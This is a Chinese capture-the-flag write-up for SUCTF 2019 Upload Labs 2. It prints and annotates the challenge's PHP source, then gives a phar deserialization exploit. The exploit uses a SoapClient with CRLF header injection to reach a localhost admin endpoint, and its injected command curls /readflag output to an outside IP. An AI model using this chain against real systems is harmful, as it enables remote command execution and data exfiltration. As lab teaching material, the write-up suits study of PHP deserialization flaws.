65,【5】buuctf web [SUCTF 2019]Upload Labs 2

进入靶场

1,源代码

点击题目时有个就有个admin.php

<?php
// 引入配置文件
include 'config.php';class Ad{public $cmd;public $clazz;public $func1;public $func2;public $func3;public $instance;public $arg1;public $arg2;public $arg3;// 构造函数,用于初始化对象的属性function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){// 存储命令$this->cmd = $cmd;// 存储类名$this->clazz = $clazz;// 存储第一个函数名$this->func1 = $func1;// 存储第二个函数名$this->func2 = $func2;// 存储第三个函数名$this->func3 = $func3;// 存储第一个参数$this->arg1 = $arg1;// 存储第二个参数$this->arg2 = $arg2;// 存储第三个参数$this->arg3 = $arg3;}// 检查方法,使用反射来调用类的方法function check(){// 创建一个反射类,用于实例化类$reflect = new ReflectionClass($this->clazz);// 实例化类$this->instance = $reflect->newInstanceArgs();// 创建一个反射方法,用于调用类的第一个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);// 调用类的第一个方法,并传递第一个参数$reflectionMethod->invoke($this->instance, $this->arg1);// 创建一个反射方法,用于调用类的第二个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);// 调用类的第二个方法,并传递第二个参数$reflectionMethod->invoke($this->instance, $this->arg2);// 创建一个反射方法,用于调用类的第三个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);// 调用类的第三个方法,并传递第三个参数$reflectionMethod->invoke($this->instance, $this->arg3);}// 析构函数,在对象销毁时执行function __destruct(){// 使用 system 函数执行存储的命令system($this->cmd);}
}// 检查请求是否来自本地
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){// 检查是否有 admin 的 POST 请求if(isset($_POST['admin'])){// 获取 POST 请求中的命令$cmd = $_POST['cmd'];// 获取 POST 请求中的类名$clazz = $_POST['clazz'];// 获取 POST 请求中的第一个函数名$func1 = $_POST['func1'];// 获取 POST 请求中的第二个函数名$func2 = $_POST['func2'];// 获取 POST 请求中的第三个函数名$func3 = $_POST['func3'];// 获取 POST 请求中的第一个参数$arg1 = $_POST['arg1'];// 获取 POST 请求中的第二个参数$arg2 = $_POST['arg2'];// 获取 POST 请求中的第三个参数$arg3 = $_POST['arg3'];// 创建一个 Ad 类的对象,并传递相应参数$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);// 调用 check 方法$admin->check();}
}
else {// 输出非管理员信息echo "You r not admin!";
}
  • 此文件定义了 Ad类,使用了反射机制。__construct 方法接收多个参数,包括 cmdclazzfunc1func2func3arg1arg2 和 arg3,存储在对象属性中。
  • check 方法使用反射来实例化 $clazz 存储的类,并调用该类的三个函数 func1func2 和 func3,并传递相应的参数。
  • __destruct 方法使用 system 函数执行 cmd 存储的命令.
  • 有一个简单的权限检查,仅允许 127.0.0.1 地址的请求访问,通过检查 $_SERVER['REMOTE_ADDR'] ,若请求包含 admin 的 POST 请求,会根据 POST 数据创建 Ad 类对象并调用其 check 方法。
  • Ad 类的 __destruct 方法使用 system 函数执行 cmd 命令,可能导致命令执行漏洞。

源码里有

func.php

<?php
// 引入 class.php 文件
include 'class.php';// 检查是否同时设置了 submit 和 url 的 POST 请求
if (isset($_POST["submit"]) && isset($_POST["url"])) {// 使用正则表达式检查 url 的内容是否包含一些危险的协议或关键字if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){// 如果包含危险的协议或关键字,终止程序并输出提示信息die("Go away!");}else{// 获取 POST 请求中的 url 数据$file_path = $_POST['url'];// 创建 File 类的新实例,将 url 作为参数传递给构造函数$file = new File($file_path);// 调用 File 类的 getMIME 方法$file->getMIME();// 输出文件类型信息echo "<p>Your file type is '$file' </p>";}
}
?>
  • 该文件引入 class.php 并检查 submit 和 url 的 POST 请求是否同时存在。
  • 使用正则表达式对 url 进行检查,防止一些危险的协议或关键字,若匹配则终止程序。
  • 若通过检查,会创建 File 类的对象并调用 getMIME 方法获取文件的 MIME 类型。

 class.php

<?php
// 引入 config.php 文件
include 'config.php';class File {// 存储文件名的公共属性public $file_name;// 存储文件类型的公共属性public $type;// 存储函数名的公共属性,默认为 "Check"public $func = "Check";// 构造函数,接收文件名作为参数function __construct($file_name) {$this->file_name = $file_name;}// 当对象反序列化时调用此方法function __wakeup() {// 使用反射类根据 $func 属性创建一个新的对象$class = new ReflectionClass($this->func);// 使用反射类实例化对象,并将 $file_name 作为参数传递$a = $class->newInstanceArgs([$this->file_name]);// 调用新对象的 check 方法$a->check();}// 获取文件 MIME 类型的方法function getMIME() {// 打开文件信息资源$finfo = finfo_open(FILEINFO_MIME_TYPE);// 获取文件的 MIME 类型$this->type = finfo_file($finfo, $this->file_name);// 关闭文件信息资源finfo_close($finfo);}// 当对象作为字符串使用时调用此方法function __toString() {// 返回文件的类型return $this->type;}
}class Check {// 存储文件名的公共属性public $file_name;// 构造函数,接收文件名作为参数function __construct($file_name) {$this->file_name = $file_name;}// 检查文件内容的方法function check() {// 获取文件的内容$data = file_get_contents($this->file_name);// 检查文件内容是否包含 "<?", 若包含则终止程序if (mb_strpos($data, "<?")!== FALSE) {die("&lt;? in contents!");}}
}

 

  • 此文件定义了 File 类和 Check 类。
  • File 类的 __construct 方法接收文件名并存储,__wakeup 方法使用反射创建 Check 类的对象并调用其 check 方法,对文件进行检查。
  • getMIME 方法使用 finfo 函数获取文件的 MIME 类型,__toString 方法返回文件类型。
  • Check 类的 check 方法检查文件内容是否包含 "<?",若包含则终止程序。
    • File 类的 __wakeup 方法使用反射创建对象,但没有对 func 属性进行严格的验证和过滤,使得攻击者可以控制要实例化的类,这是一个潜在的反序列化漏洞入口。

不过连<?都过滤了,还能传什么????

2,该构造payload了

参考[SUCTF 2019]Upload Labs 2 phar+Soapclient结合_suctf-2019-web-upload labs 2-CSDN博客

这篇博客最后还有出题人写的笔记 

<?php
// 创建一个 Phar 文件
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt', 'text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File {public $file_name = "";public $func = "SoapClient";function __construct() {$target = "http://127.0.0.1/admin.php";$post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";$headers = [];$this->file_name  = [null,array('location' => $target,'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),'uri' => 'hello')];}function createObject() {// 使用反射根据 $func 属性创建一个新的对象$class = new ReflectionClass($this->func);// 使用反射类实例化对象,并将 $file_name 作为参数传递$a = $class->newInstanceArgs([$this->file_name]);return $a;}
}$object = new File();
// 对序列化后的对象进行 URL 编码
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();// 以下是对创建的对象使用反射实例化的部分,为了演示将其放在同一文件中,但在实际应用中可能需要根据具体情况调整调用位置
if ($object instanceof File) {$createdObject = $object->createObject();// 这里可以根据 $createdObject 的类型和具体需求进行进一步的操作// 例如,检查是否为 SoapClient 类的实例if ($createdObject instanceof SoapClient) {echo "Successfully created SoapClient object";} else {echo "Failed to create SoapClient object";}
}

 将运行结果传上去应该就能得到flag了,不过现在手头能运行PHP的东西都出了点问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/5256.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Apache Tomcat文件包含漏洞复现(详细教程)

1.漏洞原理 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器&#xff0c;其安装后会默认开启ajp连接器&#xff0c;方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器&#xff0c;在中小型系统和并发访问用户不是很多的场合下被普遍使用&#xff0c;是开发…

springboot基于安卓的智启教育服务平台app

基于Spring Boot的智启教育服务平台App是一个结合了Spring Boot后端框架与安卓前端技术的综合性教育服务平台。 一、技术背景与架构 1.开发语言&#xff1a;后端采用Java语言开发&#xff0c;充分利用Java的跨平台性、面向对象特性和强大的后端处理能力。前端则使用安卓开发技…

我的创作纪念日,纪念我的第512天

目录 年末 年初 入围 博客 变动 生活 期待 年末 很快&#xff0c;2024年已经过去了&#xff0c;本想在跨年夜的时候营造一点小小的仪式感&#xff0c;结果也因为身体的原因放弃了&#xff0c;浑身感觉疼痛&#xff0c;躺在床上&#xff0c;闭上眼睛&#xff0c;什么也不…

2025/1/21 学习Vue的第四天

睡觉。 --------------------------------------------------------------------------------------------------------------------------------- 11.Object.defineProperty 1.在我们之前学习JS的时候&#xff0c;普通得定义一个对象与属性。 <!DOCTYPE html> <h…

卸载和安装Git小乌龟、git基本命令

卸载 Git 打开控制面板&#xff1a; 按 Win R 打开运行对话框&#xff0c;输入 control 并按回车键。或直接在功能搜索里搜索“控制面板”。在控制面板中&#xff0c;选择“程序”或“程序和功能”。 查找并卸载 Git&#xff1a; 在程序列表中找到“Git”或“Git for Windows…

OSI5GWIFI自组网协议层次对比

目录 5G网络5G与其他协议栈各层映射 5G网络 物理层 (PHY) 是 5G 基站协议架构的最底层&#xff0c;负责将数字数据转换为适合无线传输的信号&#xff0c;并将接收到的无线信号转换为数字数据。实现数据的编码、调制、多天线处理、资源映射等操作。涉及使用新的频段&#xff08…

ThinkPHP 8的多对多关联

【图书介绍】《ThinkPHP 8高效构建Web应用》-CSDN博客 《2025新书 ThinkPHP 8高效构建Web应用 编程与应用开发丛书 夏磊 清华大学出版社教材书籍 9787302678236 ThinkPHP 8高效构建Web应用》【摘要 书评 试读】- 京东图书 使用VS Code开发ThinkPHP项目-CSDN博客 编程与应用开…

可视化-numpy实现线性回归和梯度下降法

代码如下&#xff1a; import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from matplotlib.patches import Patch# 生成二维输入数据 np.random.seed(0) X1 2 * np.random.rand(100, 1) # 第一个特征 X2 3 * np.random.rand(10…

python_在钉钉群@人员发送消息

python_在钉钉群人员发送消息 1、第一种 企业内部机器人群聊实现人接入指南&#xff0c;适用于群机器人接收消息&#xff0c;处理完一系列的动作之后&#xff0c;将消息返回给发消息的人员&#xff0c;同时该人员。 需要在企微后台新建一个自建应用&#xff0c;在自建应用里…

递归练习六(普通练习11-15)

一、例题 1、有效数独 36. 有效的数独 - 力扣&#xff08;LeetCode&#xff09; 2、填数独 37. 解数独 - 力扣&#xff08;LeetCode&#xff09; 3、单词搜索 79. 单词搜索 - 力扣&#xff08;LeetCode&#xff09; 4、黄金矿工 1219. 黄金矿工 - 力扣&#xff08;LeetCod…

【生产力工具】ChatGPT for Windows桌面版本安装教程

使用桌面版的ChatGPT目前可解决官方轻微降智的问题。 文章目录 准备安装步骤步骤 1: 更改系统区域设置步骤 2: 关闭系统代理&#xff08;如果你正在使用的话&#xff09;步骤 3: 启动EXE文件步骤 4: 完成安装 准备 下载并保存好 ChatGPT桌面版的EXE安装文件。 下载地址1&…

兼职全职招聘系统架构与功能分析

2015工作至今&#xff0c;10年资深全栈工程师&#xff0c;CTO&#xff0c;擅长带团队、攻克各种技术难题、研发各类软件产品&#xff0c;我的代码态度&#xff1a;代码虐我千百遍&#xff0c;我待代码如初恋&#xff0c;我的工作态度&#xff1a;极致&#xff0c;责任&#xff…

【ESP32】ESP32连接JY61P并通过WIFI发送给电脑

前言 手头上有个ESP32&#xff0c;发现有wifi功能&#xff0c;希望连接JY61P并通过WIFI把姿态数据发送给电脑 1.采用Arduino IDE编译器&#xff1b;需要安装ESP32的开发板管理器&#xff1b; 2.电脑接受数据是基于python的&#xff1b; 1. ESP32 连接手机WIFI #include <…

第23篇 基于ARM A9处理器用汇编语言实现中断<五>

Q&#xff1a;怎样修改HPS Timer 0定时器产生的中断周期&#xff1f; A&#xff1a;在上一期实验的基础上&#xff0c;可以修改按键中断服务程序&#xff0c;实现红色LED上的计数值递增的速率&#xff0c;主程序和其余代码文件不用修改。 实现以下功能&#xff1a;按下KEY0…

E-Prime2实现List嵌套

用E-Prime实现一个简单的List嵌套&#xff0c;实验流程基于斯特鲁程序&#xff08;色词一致/不一致实验&#xff09;。 首先File-New&#xff0c;新建一个空白项目 此时生成流程如下 Experiment Object是实验中被用到的流程或者控件对象&#xff0c;SessionProc是总流程&#x…

JS宏进阶:正则表达式的使用

正则表达式&#xff0c;对于任何一门编程语言来说&#xff0c;都是一种非常强大的工具&#xff0c;主要用于搜索、编辑或操作文本和数据。因此&#xff0c;在JS中&#xff0c;也存在相应的对象new RegExp( )&#xff0c;在本章中&#xff0c;将详细介绍正则表达式在JS宏中的运用…

在 Kubernetes 上快速安装 KubeSphere v4.1.2

目录标题 安装文档配置repo安装使用插件 安装文档 在 Kubernetes 上快速安装 KubeSphere 配置repo export https_proxy10.10.x.x:7890 helm repo add stable https://charts.helm.sh/stable helm repo update安装 helm upgrade --install -n kubesphere-system --create-name…

细说STM32F407单片机电源低功耗StopMode模式及应用示例

目录 一、停止模式基础知识 1、进入停止模式 2、停止模式的状态 3、退出停止模式 4、SysTick定时器的影响 二、停止模式应用示例 1、示例功能和CubeMX项目配置 &#xff08;1&#xff09;时钟 &#xff08;2&#xff09;RTC &#xff08;3&#xff09;ADC1 &#xf…

JavaScript学习笔记(1)

html 完成了架子&#xff0c; css 做了美化&#xff0c;但是网页是死的&#xff0c;我们需要给他注入灵魂&#xff0c;所以接下来我们需要学习 JavaScript&#xff0c;这门语言会让我们的页面能够和用户进行交互。 一、引入方式 1.内部脚本 将 JS 代码定义在 HTML 页面中 Jav…

【三维分割】Gaga:通过3D感知的 Memory Bank 分组任意高斯

文章目录 摘要一、引言二、主要方法2.1 3D-aware Memory Bank2.2 三维分割的渲染与下游应用 三、实验消融实验应用: Scene Manipulation 地址&#xff1a;https://www.gaga.gallery 标题&#xff1a;Gaga: Group Any Gaussians via 3D-aware Memory Bank 来源&#xff1a;加利福…